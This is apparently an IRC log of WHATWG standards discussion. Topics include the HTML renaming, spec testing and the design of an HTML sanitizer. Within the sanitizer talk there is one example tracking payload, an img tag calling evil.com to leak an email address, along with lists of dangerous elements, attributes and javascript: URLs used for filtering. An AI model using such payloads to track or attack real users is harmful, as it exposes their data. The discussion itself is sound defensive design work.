  733. # [11:31] <annevk> The one that was most popular
  734. # [11:31] <annevk> Hopefully it works
  735. # [11:33] <annevk> we had over a 100 retweets btw
  736. # [11:33] <annevk> see http://twitoaster.com/country-in/whatwg/html-is-the-new-html5-—/
  737. # [11:34] <annevk> "This tweet received 111 twitter mentions (4 replies and 107 retweets) from 110 distinct twitter users. In addition to WHATWG followers, it has been read by 125,918 second-level followers (retweeters followers)."
  738. # [11:34] <annevk> "This conversation is linked to the Twitter India country."
  739. # [11:34] <annevk> lol
  740. # [11:36] <hsivonen> There's India and then there's Twitter India
  741. # [11:36] * Joins: ZombieLoffe (~e@unaffiliated/zombieloffe)
  742. # [11:37] * Joins: MrOpposite (~mropposit@unaffiliated/mropposite)
  743. # [11:37] * Joins: Lachy (~Lachlan@pat-tdc.opera.com)
  744. # [11:37] <erlehmann> lol one one eleven
  745. # [11:41] <annevk> wait, othermaciej points out an article that might suggest P=NP but wasn't there one already that proofed the opposite?
  746. # [11:42] <annevk> http://en.wikipedia.org/wiki/P_versus_NP_problem#Claimed_solutions ah, that was not accepted yet
  747. # [11:42] <othermaciej> annevk: that proof is not widely believed to be valid
  748. # [11:43] <annevk> s/yet//
  749. # [11:46] <jgraham> There is probably a strong correlation between the number of attempted proofs of a problem and its fame. P?=NP is such a famous problem that the density of claimed solutions in either direction is extremely high. Most pass right under the radar, but the internet is very good on picking up those with slightly above-average credibility
  750. # [11:46] <annevk> http://bit.ly/gR27Et - HTML LS
  751. # [11:47] <annevk> I sort of hope that term is not going to catch on :)
  752. # [11:47] <heycam> HTML, Immortal Edition
  753. # [11:50] <jgraham> HTML, God Mode
  754. # [11:50] <jgraham> The specification that cannot die
  755. # [11:50] <heycam> HTML iddqd?
  756. # [11:50] <zcorpan> HTML5 is idkfa
  757. # [11:51] * Quits: homata__ (~homata@58x158x182x50.ap58.ftth.ucom.ne.jp) (Quit: Leaving...)
  758. # [11:52] <annevk> http://www.reddit.com/r/programming/comments/f5e8k/yesterday_the_w3c_proposed_a_html5_logo_with_a/ is not very positive overall
  759. # [11:55] <matjas> since when do we care what reddit thinks?
  760. # [11:56] <annevk> just interesting to see what the perception is
  761. # [11:57] <zcorpan> isn't reddit mostly not very positive?
  762. # [11:58] <Workshiva> It seems like the usual misunderstanding of how browser standards work
  763. # [11:58] * Joins: charlvn (~charlvn@41.0.48.93)
  764. # [11:59] <annevk> zcorpan, could be
  765. # [12:00] <annevk> overall this went really well I think
  766. # [12:03] * Quits: MrOpposite (~mropposit@unaffiliated/mropposite) (Ping timeout: 265 seconds)
  767. # [12:03] <Workshiva> "So yeah, will CSS3 become CSS now?"
  768. # [12:03] <Workshiva> That is actually a great example of how a version number is meaningless
  769. # [12:08] * Joins: Xano (~bart@524BF837.cm-4-4d.dynamic.ziggo.nl)
  770. # [12:11] <annevk> updated http://wiki.whatwg.org/wiki/WebAppsTweet to ignore typo and xref fixes
  771. # [12:13] * Joins: plomlompom (~plomlompo@i59F6C26C.versanet.de)
  772. # [12:13] * Quits: smaug____ (~chatzilla@dsl-hkibrasgw4-fe41dc00-67.dhcp.inet.fi) (Read error: Operation timed out)
  773. # [12:14] <arminbw> I will call it HTML+
  774. # [12:18] * Quits: agektmr (~Adium@2401:fa00:4:1012:fa1e:dfff:fee6:d74e) (Quit: Leaving.)
  775. # [12:20] * Joins: adactio (~adactio@host213-123-197-180.in-addr.btopenworld.com)
  776. # [12:20] <david_carlisle> html+ is done already, it expired
  777. # [12:21] <annevk> Another thing I considered doing was enabling an easy way to get the specification for each specific SVN revision. However, I am not entirely sure how to deal with changing dependencies.
  778. # [12:23] <arminbw> So if html+ expired it's actually just html again, right? Old html.
  779. # [12:24] <jgraham> html++ then
  780. # [12:24] * Quits: Evet (~Evet@78.191.36.5) (Ping timeout: 240 seconds)
  781. # [12:24] <annevk> The whole point is that there is no difference!
  782. # [12:25] <Rik`> and then it will be html# or objective-html ?
  783. # [12:25] * Quits: Lachy (~Lachlan@pat-tdc.opera.com) (Quit: Leaving)
  784. # [12:26] * Joins: Lachy (~Lachlan@pat-tdc.opera.com)
  785. # [12:26] <david_carlisle> You should all just be using mathml anyway, this html thing won't catch on
  786. # [12:30] <jgraham> annevk: But html++ means that every person who reads the name gets a unique version number! It is giving ownsership of the spec to the community!
  787. # [12:30] * Quits: lumely (~lumely@dhcp2-186.slis.tsukuba.ac.jp) (Read error: Connection reset by peer)
  788. # [12:30] * Joins: lumely_ (~lumely@dhcp2-186.slis.tsukuba.ac.jp)
  789. # [12:33] <arminbw> lets put it on github
  790. # [12:33] * Joins: FireFly (~firefly@unaffiliated/firefly)
  791. # [12:35] <hsivonen> "You essentially have to treat browsers as a bunch of somewhat sleazy politicians" -- Robin Berjon
  792. # [12:36] * Joins: Timz (~Adium@86.89.174.199)
  793. # [12:36] <othermaciej> and a nice day to you too, Mr Berjon
  794. # [12:36] <jgraham> hsivonen: Is there any context or is this twitter?
  795. # [12:37] * Joins: Ms2ger (~Ms2ger@91.181.194.130)
  796. # [12:37] <hsivonen> jgraham: http://lists.w3.org/Archives/Public/public-html-xml/2011Jan/0231.html
  797. # [12:37] * Quits: micheil (~micheil@114.72.236.157) (Ping timeout: 240 seconds)
  798. # [12:39] * Quits: pesla (~pesla@188.202.125.121) (Read error: Connection reset by peer)
  799. # [12:39] * Joins: pesla (~pesla@188.202.125.121)
  800. # [12:39] <jgraham> Hum. What he actually says is quite reasonable
  801. # [12:39] <jgraham> His phrasing of it is pure flamebait
  802. # [12:40] <annevk> well, or funny
  803. # [12:40] <david_carlisle> othermaciej: He was being nice to you really, and just agreeing with hsivonen that you need to test for what's implemented
  804. # [12:41] <othermaciej> sure, in context his flamebait was eminently reasonable
  805. # [12:41] <jgraham> annevk: Didn't really register as funny for me. I guess he might have been going for "funny"
  806. # [12:43] <jgraham> though
  807. # [12:47] <annevk> as far as I can tell his views have shifted somewhat since the SVG days
  808. # [12:47] <annevk> and are somewhat similar to ours now
  809. # [12:48] <hsivonen> fwiw, I was quoting out of context for amusement. I don't disapprove of Robin's email.
  810. # [12:48] <david_carlisle> annevk: what people get older?
  811. # [12:50] * Quits: davidhund (~davidhund@78-27-27-74.dsl.alice.nl) (Quit: davidhund)
  812. # [12:50] <asmodai> lol @ http://dl.dropbox.com/u/50841/twitter/WhatsNew.png
  813. # [12:53] <charlvn> haha, good one
  814. # [12:54] <annevk> what is rowspan in wiki syntax?
  815. # [12:54] <asmodai> Whoever came up with the badge builder ought to be shot
  816. # [12:55] <asmodai> I thought we ditched such idiotic badges/images finally.
  817. # [12:55] * Joins: davidhund (~davidhund@78-27-27-74.dsl.alice.nl)
  818. # [12:56] * asmodai prepares for a new round of Works with FF/IE and Valid HTML images on pages :(
  819. # [12:56] <hsivonen> asmodai: saying that someone ought to be shot isn't really an improvement over the military imagery
  820. # [12:56] <annevk> found it
  821. # [12:56] <Lachy> asmodai, we ditched idiotic validation badges that made false claims more often than not
  822. # [12:56] <asmodai> hsivonen: Heh, true.
  823. # [12:57] * Quits: erlehmann (~erlehmann@p5DDBBE41.dip.t-dialin.net) (Quit: Die demokratieerhaltende Whistleblower-Organisation Krautchan freut sich immer über Spenden.)
  824. # [12:57] <asmodai> Funny though, if you select those features of the badge builder, it's like HTML5 is growing a Pinoccio nose
  825. # [13:00] * Quits: benschwarz (~benschwar@59.167.185.148) (Remote host closed the connection)
  826. # [13:01] * Quits: Timz (~Adium@86.89.174.199) (Quit: Leaving.)
  827. # [13:02] * Quits: davidhund (~davidhund@78-27-27-74.dsl.alice.nl) (Quit: davidhund)
  828. # [13:05] * Joins: davidhund (~davidhund@78-27-27-74.dsl.alice.nl)
  829. # [13:09] <annevk> I made some more changes to the FAQ
  830. # [13:13] <hsivonen> hmm. writing a sanitizer becomes really complicated if you want to decide whether the token becomes an HTML, MathML or SVG element before deciding whether to drop it
  831. # [13:14] <hsivonen> maybe it's just not worth it...
  832. # [13:16] <hsivonen> maintaining distinct attribute white lists for the three should be easy-ish, though
  833. # [13:16] * Quits: kor (~kor@ip18-128-172-82.adsl2.static.versatel.nl) (Quit: kor)
  834. # [13:17] <jgraham> hsivonen: What is the difficulty?
  835. # [13:18] <jgraham> (I'm not saying there isn't one, just wondering what, specifcally, you find hard)
  836. # [13:19] <hsivonen> jgraham: if you drop an element after the tree builder algorithm has run, you need a marker on the stack so that you know to drop the matching end tags but not to drop end tags whose element didn't get dropped
  837. # [13:20] <hsivonen> so then you have this sparse stack where some stack nodes are "not really" markers that you can't append children to but that participate in the tree builder algorithm otherwise
  838. # [13:20] <hsivonen> it looks to me that those "not really" or "can't use this node as a parent" markers will suck for the AAA and such
  839. # [13:21] <annevk> so you want to sanitize during parsing rather than serializing?
  840. # [13:22] <hsivonen> jgraham: otoh, if you always drop all start and end tag tokens for a given tag name, you don't need to keep track of stuff to match end tags with the start tags
  841. # [13:22] <hsivonen> annevk: yes
  842. # [13:22] <hsivonen> annevk: and only from the security POV--not from the correctness POV
  843. # [13:22] <david_carlisle> annevk: On Robin's views changing since svg days "It wasn't long before mobile SVG implementations also used XML parsers that were a little bit more open-minded " :-)
  844. # [13:23] * Joins: kor (~kor@ip18-128-172-82.adsl2.static.versatel.nl)
  845. # [13:24] * Quits: wakaba_ (~wakaba_@122x221x184x68.ap122.ftth.ucom.ne.jp) (Quit: Leaving...)
  846. # [13:24] * Quits: wakaba_0 (~wakaba_@122x221x184x68.ap122.ftth.ucom.ne.jp) (Quit: Leaving...)
  847. # [13:25] <jgraham> hsivonen: Is it too much work to probe what namespace a tag will become by inspecting the current state of the treebuilder and knowing what the entry/exit points from foreignContent are?
  848. # [13:27] <david_carlisle> hsivonen: is there an existing element name for which you do want to take a different decision, depending on html/mathml/svg, or is this future proofing?
  849. # [13:28] <jgraham> hsivonen: (the big problem I see with speculatively inserting elements and rolling back if they end up in an undesired namespace is around AAA and so)
  850. # [13:29] <jgraham> (I think that would mean you had to snapshot the entire tree rather than just marking the inserted elements)
  851. # [13:29] <hsivonen> david_carlisle: I can't think of one from the security POV
  852. # [13:30] <hsivonen> david_carlisle: so perhaps I shouldn't even try to have distinct white lists
  853. # [13:30] <hsivonen> jgraham: that approach would probably make sense if distinct white lists were actually necessary
  854. # [13:32] <annevk> hmm comments are getting somewhat off-topic
  855. # [13:32] <annevk> oh well
  856. # [13:32] <hsivonen> anyway, I threw away my complicated code and will try again
  857. # [13:32] <hsivonen> this time dropping tokens before the tree builder runs
  858. # [13:36] <jgraham> hsivonen: Presumably the reason would be that future standards bodies might be idiotic enough to invent tag names that are safe in one namespace but not another. Or we might grandfather in a language where, say, <div> means "run this script"
  859. # [13:36] <jgraham> Neither of those would happen in a sane world
  860. # [13:36] <Ms2ger> annevk, | rowspan=n |, if you didn't find it yet
  861. # [13:36] <hsivonen> jgraham: I'm not planning on coding for that scenario
  862. # [13:37] <annevk> Ms2ger, thanks, I figured it out already
  863. # [13:37] * Joins: benschwarz (~benschwar@59.167.185.148)
  864. # [13:38] <david_carlisle> jgraham: that would be the world in which browser makers don't implement image and not tell us for a decade that we have an unknown name clash?
  865. # [13:38] <benschwarz> Hixie: !Ping
  866. # [13:39] <jgraham> david_carlisle: < jgraham> Neither of those would happen in a sane world
  867. # [13:40] <david_carlisle> jgraham: something about logic and doors
  868. # [13:42] * Joins: micheil (~micheil@114.73.116.90)
  869. # [13:43] <hsivonen> david_carlisle: fortunately, image is "safe"
  870. # [13:45] * Joins: LuigiMontanez (~Adium@ip70-174-136-58.dc.dc.cox.net)
  871. # [13:45] <hsivonen> hmm. nested SVG scripts are going to be annoying
  872. # [13:46] <david_carlisle> hsivonen: yes
  873. # [13:52] * Quits: kor (~kor@ip18-128-172-82.adsl2.static.versatel.nl) (Quit: kor)
  874. # [13:53] * Joins: boaz (~boaz@c-24-128-79-120.hsd1.ma.comcast.net)
  875. # [13:55] * Quits: matjas (~matjas@91.182.211.157) (Quit: Computer has gone to sleep.)
  876. # [13:55] * Quits: LuigiMontanez (~Adium@ip70-174-136-58.dc.dc.cox.net) (Quit: Leaving.)
  877. # [13:57] * Joins: xbg (~xbg@91-64-16-98-dynip.superkabel.de)
  878. # [13:59] <hsivonen> hmm. so the list of dangerous well-known HTML elements is script, style, applet, object. Right?
  879. # [13:59] <hsivonen> working out which parts of SVG are dangerous is harder
  880. # [14:00] <annevk> anything that causes a request can be dangerous in a way
  881. # [14:01] <benschwarz> Is there a bot to leave Hixie a message?
  882. # [14:01] <annevk> you can file a bug
  883. # [14:01] <jgraham> Yes, one might imagine organising the code around groups of elements according to their properties
  884. # [14:01] <jgraham> Or just leave the message
  885. # [14:02] <hsivonen> annevk: do you mean for detecting that a user read a span with a unique image?
  886. # [14:02] <jgraham> e.g. script_elements, request_elements, etc.
  887. # [14:03] <hsivonen> and SVG id references that can go across documents is one collection of pain that makes it hard to know which elements end up requesting stuff based on the element name alone
  888. # [14:05] <benschwarz> I just added web stats to the developers.whatwg.org edition…
  889. # [14:06] * Joins: cooto (~Adium@186.9.105.206)
  890. # [14:06] * Quits: cooto (~Adium@186.9.105.206) (Client Quit)
  891. # [14:07] <benschwarz> and now, bed. later all
  892. # [14:08] * Quits: benschwarz (~benschwar@59.167.185.148) (Remote host closed the connection)
  893. # [14:09] * Joins: kal-EL_ (~jor-EL@host115-69-dynamic.16-79-r.retail.telecomitalia.it)
  894. # [14:16] <annevk> hsivonen, or somewhat dangerous GET requests
  895. # [14:17] <annevk> e.g. a blog comment in moderation that fetches logout.php
  896. # [14:18] <hsivonen> annevk: a blogging system is full of fail if you can be logged out using GET
  897. # [14:18] <annevk> no argument there
  898. # [14:18] <annevk> guess it depends on what you want to do
  899. # [14:19] <annevk> for email it would be similarly bad
  900. # [14:19] * Parts: xbg (~xbg@91-64-16-98-dynip.superkabel.de) ("Leaving.")
  901. # [14:19] <annevk> <img src=http://evil.com/?you@example.com>
  902. # [14:20] <hsivonen> I believe Thunderbird catches those on a different layer
  903. # [14:20] * Quits: boaz (~boaz@c-24-128-79-120.hsd1.ma.comcast.net) (Quit: boaz)
  904. # [14:23] <annevk> other things that could be potentially problematic are elements the author did not expect commenters to use or be able to use
  905. # [14:24] <annevk> e.g. if the author has one <header> on his page with some position:absolute styling and a commenter includes that as well...
  906. # [14:24] * Joins: MikeSmith_ (~MikeSmith@EM111-188-93-219.pool.e-mobile.ne.jp)
  907. # [14:24] <annevk> but I guess it depends on whether this API will be exposed to web content or not whether any of the above makes sense
  908. # [14:25] * Quits: danbri (~danbri@ip176-48-210-87.adsl2.static.versatel.nl) (Remote host closed the connection)
  909. # [14:25] * Joins: matjas (~matjas@91.182.211.157)
  910. # [14:27] <hsivonen> annevk: good point. that threat isn't being addressed
  911. # [14:27] * Quits: MikeSmith (~MikeSmith@EM114-48-81-141.pool.e-mobile.ne.jp) (Ping timeout: 240 seconds)
  912. # [14:28] * MikeSmith_ is now known as MikeSmith
  913. # [14:30] * Joins: LuigiMontanez (~Adium@ip70-174-136-58.dc.dc.cox.net)
  914. # [14:30] <hsivonen> stuff like <svg><script><script><h1> is very annoying
  915. # [14:32] <annevk> heh, Julian thinks we changed the name because we are angry with the HTML5 logo
  916. # [14:32] <annevk> http://www.heise.de/ix/meldung/Aus-HTML-5-wird-der-lebende-Standard-HTML-1172423.html
  917. # [14:33] <annevk> hsivonen, it seems filtering the DOM would give much better results
  918. # [14:33] <annevk> hsivonen, also, if we want this at the parser layer, should this be part of the parsing section?
  919. # [14:34] * Quits: micheil (~micheil@114.73.116.90) (Quit: http://brandedcode.com | http://github.com/miksago)
  920. # [14:35] <hsivonen> annevk: it sure starts looking like it doesn't make sense to recommend this function for non-browser users of the parser
  921. # [14:35] * Joins: kor (~kor@188.203.5.129)
  922. # [14:35] * Quits: 30BAAP5OQ (~ericc@adsl-67-112-12-110.dsl.anhm01.pacbell.net) (Quit: 30BAAP5OQ)
  923. # [14:36] <hsivonen> and yeah, I'm starting to suspect whether it makes sense to do this in the parser even in the browser case
  924. # [14:37] <hsivonen> though for perf, it kinda sucks to build a DOM fragment, run a filter on it and then insert it
  925. # [14:38] <Philip`> Is this ever a performance-critical operation?
  926. # [14:38] <hsivonen> Philip`: dunno
  927. # [14:38] <hsivonen> <svg><script><foreignObject><h1>Hi! is annoying, too
  928. # [14:42] * Joins: erlehmann (~erlehmann@p4FC12D27.dip.t-dialin.net)
  929. # [14:43] * Joins: boaz (~boaz@c-24-128-79-120.hsd1.ma.comcast.net)
  930. # [14:44] * Joins: davidb_ (~davidb@66.207.206.180)
  931. # [14:48] * Quits: boaz (~boaz@c-24-128-79-120.hsd1.ma.comcast.net) (Client Quit)
  932. # [14:48] * Quits: LuigiMontanez (~Adium@ip70-174-136-58.dc.dc.cox.net) (Quit: Leaving.)
  933. # [14:50] * Joins: Kaelig (~Kaelig@mal35-2-82-228-177-211.fbx.proxad.net)
  934. # [14:52] * Joins: espadrine (~espadrine@acces1296.res.insa-lyon.fr)
  935. # [14:54] * Joins: miketaylr (~miketaylr@206.217.92.186)
  936. # [14:59] * Joins: Sirisian (~Sirisian@141.218.226.81)
  937. # [15:01] * Joins: smaug____ (~chatzilla@dsl-hkibrasgw4-fe41dc00-67.dhcp.inet.fi)
  938. # [15:03] * Joins: lonimurar (~lonimurar@unaffiliated/lonimurar)
  939. # [15:03] * Quits: ttepasse (~ttepasse@ip-109-90-161-169.unitymediagroup.de) (Read error: Connection reset by peer)
  940. # [15:12] * Joins: BlurstOfTimes (~blurstoft@168.203.117.107)
  941. # [15:14] * Joins: Timz (~Adium@86.89.174.199)
  942. # [15:14] * Quits: Sirisian (~Sirisian@141.218.226.81) (Ping timeout: 255 seconds)
  943. # [15:18] * Joins: ttepasse (~ttepasse@ip-109-90-161-169.unitymediagroup.de)
  944. # [15:21] * Joins: plainhao (~plainhao@208.75.85.237)
  945. # [15:27] * Joins: realityking (~realityki@f049233099.adsl.alicedsl.de)
  946. # [15:27] * Quits: realityking (~realityki@f049233099.adsl.alicedsl.de) (Read error: Connection reset by peer)
  947. # [15:27] * Joins: realityking (~realityki@f049233099.adsl.alicedsl.de)
  948. # [15:29] * Quits: webben (~benjamin@173-203-84-17.static.cloud-ips.com) (Ping timeout: 265 seconds)
  949. # [15:35] * Quits: rimantas (~rimliu@93.93.57.193) (Quit: Leaving)
  950. # [15:36] * Quits: miketaylr (~miketaylr@206.217.92.186) (Remote host closed the connection)
  951. # [15:38] * Joins: miketaylr (~miketaylr@206.217.92.186)
  952. # [15:38] * Joins: eric_carlson_ (~ericc@adsl-67-112-12-110.dsl.anhm01.pacbell.net)
  953. # [15:38] * Joins: alkavan (~alkavan@IGLD-84-229-175-223.inter.net.il)
  954. # [15:42] <jacobolus> I notice that most (all?) of the little annotations in the margin of the HTML5^H spec say that there are 0 tests and 0 demos for a feature, and nothing written about "implementation status"; is there actually some place where such tests/demos would reside, linked from the spec? aren't there plenty of parts that *do* have tests one place or another around the web?
  955. # [15:43] <Philip`> The tests/demos can be anywhere - someone just needs to update the spec to point to them all
  956. # [15:43] <jacobolus> is there any good coordinated place showing what has tests, what needs tests, etc.?
  957. # [15:44] <Philip`> No
  958. # [15:44] <Philip`> http://wiki.whatwg.org/wiki/Testsuite has links to various things
  959. # [15:44] <jacobolus> it seems like this is a task that could be pretty easily distributed: "write 1-2 test about one of these features"; would be more productive as a discussion than flameouts about nomenclature and so forth
  960. # [15:45] <jacobolus> then again, maybe no one would be interested in writing a test or two
  961. # [15:45] <Philip`> It'd probably be good to coordinate work in the HTML WG testing group rather than having everything as ad hoc as it has been
  962. # [15:45] <Lachy> jacobolus, there are a few that do have some tests written and linked from those annotations.
  963. # [15:46] <jacobolus> I guess there's also the big problem that someone (not volunteering, for sure) would have to do the organizing/coordination
  964. # [15:46] <Lachy> from memory, the video element has a couple.
  965. # [15:46] <Philip`> (There's some (slow) progress in that direction currently)
  966. # [15:46] * Joins: illtron (~killbot@mysql.ceres.aaas.org)
  967. # [15:47] <Philip`> jacobolus: A person writing 1-2 tests wouldn't really be scalable to what the spec requires, since it'll need tens of thousands of tests
  968. # [15:48] <jgraham> jacobolus: The HTML TEts TF already exists. The main problems are a) getting people to write tests and b) getting the right metadata to link the TCs to the right parts of the spec
  969. # [15:49] <jacobolus> fair enough
  970. # [15:49] <jacobolus> Philip`: fair enough
  971. # [15:49] <Philip`> and the overhead of teaching people how to write good test cases and reviewing them and maintaining them etc means you really need someone to take responsibility for developing a coherent set of tests for a whole section of the spec, I think
  972. # [15:49] <Philip`> else it'll be unmanageable
  973. # [15:49] <jgraham> jacobolus: The only well tested part of the spec is <canvas> where a) was solved by Philip` writing all the tests and B0 was solved by Philip` writing a system for annotating the spec
  974. # [15:49] <jacobolus> i.e. someone needs to make it their full-time job
  975. # [15:49] * Quits: erlehmann (~erlehmann@p4FC12D27.dip.t-dialin.net) (Ping timeout: 276 seconds)
  976. # [15:50] <jgraham> jacobolus: There are surprising;y few places you can get paid to spend all your time writing spec tests
  977. # [15:50] <jgraham> In fact I don't know of any
  978. # [15:50] <jacobolus> that doesn't seem surprising
  979. # [15:50] <annevk> I'm pretty sure such a position is obtainable
  980. # [15:50] <Philip`> jacobolus: Yeah, that seems like the most efficient way to get the work done, but I suppose that doesn't help much if nobody is in a position to do that :-(
  981. # [15:51] <jgraham> It does mean that as a strategy starting with "1) assume we will get a full time coordinator" is a losing proposition
  982. # [15:51] <annevk> e.g. with Mozilla or Google
  983. # [15:51] <jacobolus> seems like it'd take a substantial amount of work to even try to consolidate the tests which exist and link them to relevant spec sections
  984. # [15:51] <jgraham> annevk: Maybe, but the evidence is that neither Mozilla nor Google *actually* employ anyone to do that
  985. # [15:52] * Joins: shiawuen (~chatzilla@cm68.eta56.maxonline.com.sg)
  986. # [15:52] <annevk> yes, because nobody is interested in it
  987. # [15:52] <jgraham> In fact neither are particularly active at all in writing tests for HTML
  988. # [15:52] <jacobolus> but the result is that it's sort of impossible to figure out what parts are tested and what parts aren't
  989. # [15:52] <Philip`> It sounds like browser testing people spend most of their time debugging browser-specific bugs and writing browser-specific tests, instead of standards tests
  990. # [15:52] <jacobolus> right
  991. # [15:53] <Philip`> Is that unavoidable?
  992. # [15:53] <jacobolus> it does seem like a wasted duplication of effort, no?
  993. # [15:53] <annevk> no, but it requires some amount of investment
  994. # [15:53] <annevk> into a framework that can be shared, that people are willing to use
  995. # [15:53] <jgraham> We do write quite a lot of standards tests
  996. # [15:53] <annevk> and that shows some reasonable return of investment
  997. # [15:54] <jgraham> But there is inevitably also a component of doing browser-specific work
  998. # [15:54] * Joins: htmlr (~htmlr@124-168-128-37.dyn.iinet.net.au)
  999. # [15:54] <jgraham> And that turns out to be a rather large component
  1000. # [15:54] <annevk> I have written tests, but there's hardly any contribution from elsewhere
  1001. # [15:54] <annevk> e.g. for XMLHttpRequest
  1002. # [15:54] <annevk> maybe the bar to entry is too high, but I have not even been contacted
  1003. # [15:54] <jgraham> Since the job description is not "write tests" but "help us ship a good browser"
  1004. # [15:55] <annevk> and while other browsers might start using the tests, they are hesitant (to say the least) to convert their own
  1005. # [15:56] <annevk> tl:dr standardizing test infrastructure is tough
  1006. # [15:56] <annevk> and sharing tests is too
  1007. # [15:58] <jgraham> Sharing tests is generally not that bad if the recievee is prepared to do all the integration work
  1008. # [15:58] <Ms2ger> jgraham, Mozilla does write a lot of HTML tests, we just don't submit them ;)
  1009. # [15:59] <jgraham> Ms2ger: That is the same thing :)
  1010. # [15:59] <Ms2ger> Only from your POV :)
  1011. # [15:59] * Joins: MAMPTyro (~nooywy@61.sub-75-197-170.myvzw.com)
  1012. # [15:59] <jgraham> Well from everyone's POV
  1013. # [15:59] <jgraham> Apart from yours
  1014. # [16:00] * Quits: htmlr (~htmlr@124-168-128-37.dyn.iinet.net.au) (Quit: Colloquy for iPad - http://colloquy.mobi)
  1015. # [16:01] * Quits: kor (~kor@188.203.5.129) (Quit: kor)
  1016. # [16:01] * Parts: adactio (~adactio@host213-123-197-180.in-addr.btopenworld.com)
  1017. # [16:03] * Joins: LuigiMontanez (~Adium@enki.sunlightfoundation.com)
  1018. # [16:05] * Joins: cying (~cying@c-24-23-135-168.hsd1.ca.comcast.net)
  1019. # [16:06] * Quits: cying (~cying@c-24-23-135-168.hsd1.ca.comcast.net) (Read error: Connection reset by peer)
  1020. # [16:06] * Joins: cying_ (~cying@c-24-23-135-168.hsd1.ca.comcast.net)
  1021. # [16:09] <hsivonen> jacobolus: apparently you need to buy t-shirts with the HTML5 logo on them to get this testing thing sorted out
  1022. # [16:10] * jgraham has his doubts that will help
  1023. # [16:11] <jacobolus> hsivonen: is that the W3C version of a middle school bake sale?
  1024. # [16:12] <jacobolus> maybe the spec could do in-line advertising. "the canvas element, brought to you by Nabisco"
  1025. # [16:12] <jgraham> jacobolus: It seems to be. My idea of a real bake sale, with the HTML5 logog on big cakes and all the sub-logos on cupcakes has so far failed to gain any traction
  1026. # [16:13] <jgraham> Even when I suggested that we dress up in vinatge military gear to do the selling
  1027. # [16:13] <jacobolus> damn
  1028. # [16:13] <jgraham> and get a brass band clad in HTML5-spandex
  1029. # [16:13] * Quits: zcorpan (~zcorpan@c-8d9ae355.410-6-64736c14.cust.bredbandsbolaget.se) (Quit: zcorpan)
  1030. # [16:13] <jgraham> On an entirely different topic, does anyone know if, and by how much, faster it is to draw to Xvfb than to real X?
  1031. # [16:17] * Quits: mamund__ (mamund@frost.nullshells.net) (Ping timeout: 240 seconds)
  1032. # [16:18] * Joins: mamund (mamund@frost.nullshells.net)
  1033. # [16:19] * Joins: kor (~kor@ip146-53-210-87.adsl2.static.versatel.nl)
  1034. # [16:21] * Parts: MAMPTyro (~nooywy@61.sub-75-197-170.myvzw.com)
  1035. # [16:30] * Joins: richardschwerdtf (~RichS@32.97.110.51)
  1036. # [16:33] * Quits: mokush (~quassel@188.24.42.111) (Ping timeout: 240 seconds)
  1037. # [16:33] * Quits: othermaciej (~mjs@c-24-6-209-6.hsd1.ca.comcast.net) (Quit: othermaciej)
  1038. # [16:34] * Joins: mokush (~quassel@188.24.42.150)
  1039. # [16:38] * Quits: kor (~kor@ip146-53-210-87.adsl2.static.versatel.nl) (Quit: kor)
  1040. # [16:41] * Joins: davidwalsh (~davidwals@75-135-74-55.dhcp.mdsn.wi.charter.com)
  1041. # [16:41] * Joins: othermaciej (~mjs@67.218.106.166)
  1042. # [16:42] * Joins: bga_ (~bga@ppp91-122-51-148.pppoe.avangarddsl.ru)
  1043. # [16:43] * Joins: nimbupani (~Adium@c-24-22-131-46.hsd1.wa.comcast.net)
  1044. # [16:43] * Joins: sethladd (~sethladd@c-67-188-234-154.hsd1.ca.comcast.net)
  1045. # [16:45] <hsivonen> apart from attributes that contain URL, are there dangerous attributes that don't start with "on"?
  1046. # [16:45] * Joins: kor (~kor@ip146-53-210-87.adsl2.static.versatel.nl)
  1047. # [16:46] * Joins: boaz (~boaz@64.119.153.2)
  1048. # [16:47] * Quits: sethladd (~sethladd@c-67-188-234-154.hsd1.ca.comcast.net) (Client Quit)
  1049. # [16:48] <annevk> hsivonen, autofocus
  1050. # [16:49] <annevk> hsivonen, srcdoc
  1051. # [16:49] <annevk> actually, maybe srcdoc is harmless
  1052. # [16:49] <annevk> no, only harmless when sandbox is defined iirc
  1053. # [16:50] <hsivonen> annevk: good point on autofocus
  1054. # [16:50] <hsivonen> annevk: what's dangerous with srcdoc? it's in a different origin, right?
  1055. # [16:51] <othermaciej> what counts as "dangerous"?
  1056. # [16:52] <hsivonen> othermaciej: stuff that would allow script to run in the wrong origin when the markup is inserted into a different-origin doc
  1057. # [16:52] <hsivonen> oh, and style is a special case, of course
  1058. # [16:52] * Quits: thiessenp (~thiessenp@changeme.ebuddy.com) (Quit: thiessenp)
  1059. # [16:53] <annevk> is srcdoc in a different origin by default?
  1060. # [16:53] <othermaciej> if the attacker can control all the attributes on an iframe element, then srcdoc is indeed dangerous
  1061. # [16:53] <annevk> I thought it wasn't
  1062. # [16:53] <othermaciej> but then, so is src
  1063. # [16:53] <annevk> src is excluded already as it contains a URL
  1064. # [16:53] <othermaciej> any attribute that takes a URL and happens to contain a javascript: URL is probably dangerous
  1065. # [16:53] <hsivonen> annevk: huh. I thought the whole point of involving an iframe was to put srcdoc into a different origin
  1066. # [16:53] <hsivonen> othermaciej: what's the attack?
  1067. # [16:54] <annevk> hsivonen, I think that is only true for <iframe srcdoc=test sandbox>
  1068. # [16:54] <othermaciej> srcdoc can be in a unique origin if you sandbox the iframe
  1069. # [16:54] <hsivonen> othermaciej: what's the attack that makes srcdoc dangerous if all attributes controlled that is?
  1070. # [16:54] <othermaciej> hsivonen: I don't know what threat you are defending against, you said "allow script to run in the wrong origin"
  1071. # [16:55] <othermaciej> but srcdoc iframes can be same-origin with the parent and can run script
  1072. # [16:55] <hsivonen> annevk: what's the point of srcdoc without sandboxing?
  1073. # [16:55] <david_carlisle> Paul: some in my group may be interested in this
  1074. # [16:55] <othermaciej> so can iframes with a javascript: src
  1075. # [16:56] * Quits: maikmerten (~merten@ls5dhcp197.cs.uni-dortmund.de) (Remote host closed the connection)
  1076. # [16:56] <hsivonen> same-origin srcdoc seems like trouble. what's the point of ever allowing srcdoc to be same-origin? why use an iframe at all in that case?
  1077. # [16:56] <david_carlisle> Bruce: I missed the point of what a class attribute would accomplish, an input box needs more complicated data, if your have markup for that and allows that in your schema
  1078. # [16:56] <hsivonen> othermaciej: yeah, URL attributes all need special attention
  1079. # [16:56] <othermaciej> what's the use case here? are you trying to filter html by blacklisting?
  1080. # [16:56] <hsivonen> david_carlisle: are you in the wrong window?
  1081. # [16:57] <david_carlisle> oops sorry in mathml wg telecon..... :-)
  1082. # [16:57] <david_carlisle> don't understand these tab things, bye
  1083. # [17:00] * Joins: Martijnc (~Martijnc@91.176.24.126)
